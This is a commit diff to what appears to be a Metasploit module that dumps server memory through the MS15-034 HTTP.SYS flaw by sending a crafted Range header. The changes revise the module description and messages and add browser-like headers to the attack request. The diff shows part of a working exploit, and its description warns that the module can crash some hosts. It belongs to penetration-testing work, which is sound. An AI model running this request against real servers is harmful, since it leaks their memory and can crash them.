@@ -15,14 +15,12 @@ def initialize
15
15
super (
16
16
'Name' => 'MS15-034 HTTP.SYS Memory Dump' ,
17
17
'Description' => %q{
18
- Dumps memory contents using a crafted Range header.
19
- Reportedly affects Win7 and up, tested against Win8.1 and
20
- Server 2012R2 with no crashes. Note that if the target is
21
- running in VMware Workstation, this module has a high likelihood
22
- of resulting in BSOD. However, VMware ESX and non-virtualized
23
- hosts seem stable. Using a larger target file should result
24
- in more memory being dumped, and SSL seems to produce more data
25
- as well.
18
+ Dumps memory contents using a crafted Range header. Affects only
19
+ Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
20
+ is running in VMware Workstation, this module has a high likelihood
21
+ of resulting in BSOD; however, VMware ESX and non-virtualized hosts
22
+ seem stable. Using a larger target file should result in more memory
23
+ being dumped, and SSL seems to produce more data as well.
26
24
} ,
27
25
'Author' => 'Rich Whitcroft <rwhitcroft[at]gmail.com>' ,
28
26
'License' => MSF_LICENSE ,
@@ -107,7 +105,7 @@ def run_host(ip)
107
105
print_error ( "Target is not vulnerable" )
108
106
return
109
107
else
110
- print_good ( "Target is vulnerable! " )
108
+ print_good ( "Target may be vulnerable... " )
111
109
end
112
110
113
111
# determine the size of the resource
@@ -144,7 +142,7 @@ def run_host(ip)
144
142
145
143
sock = Rex ::Socket ::Tcp . create ( sock_opts )
146
144
147
- req = "GET #{ datastore [ 'TARGET_URI' ] } HTTP/1.1\r \n Host: #{ ip } \r \n Range: #{ ranges } \r \n \r \n "
145
+ req = "GET #{ datastore [ 'TARGET_URI' ] } HTTP/1.1\r \n Host: #{ ip } \r \n User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) \r \n Accept: */* \r \n Connection: keep-alive \r \ n Range: #{ ranges } \r \n \r \n "
148
146
sock . put ( req )
149
147
150
148
print_good ( "Stand by..." )
@@ -170,7 +168,7 @@ def run_host(ip)
170
168
loot_path = store_loot ( 'iis.ms15034' , 'application/octet-stream' , ip , resp , nil , 'MS15-034 HTTP.SYS Memory Dump' )
171
169
print_status ( "Memory dump saved to #{ loot_path } " )
172
170
else
173
- print_error ( "Error receiving from socket or no data received " )
171
+ print_error ( "Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2) " )
174
172
return
175
173
end
176
174
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
0 commit comments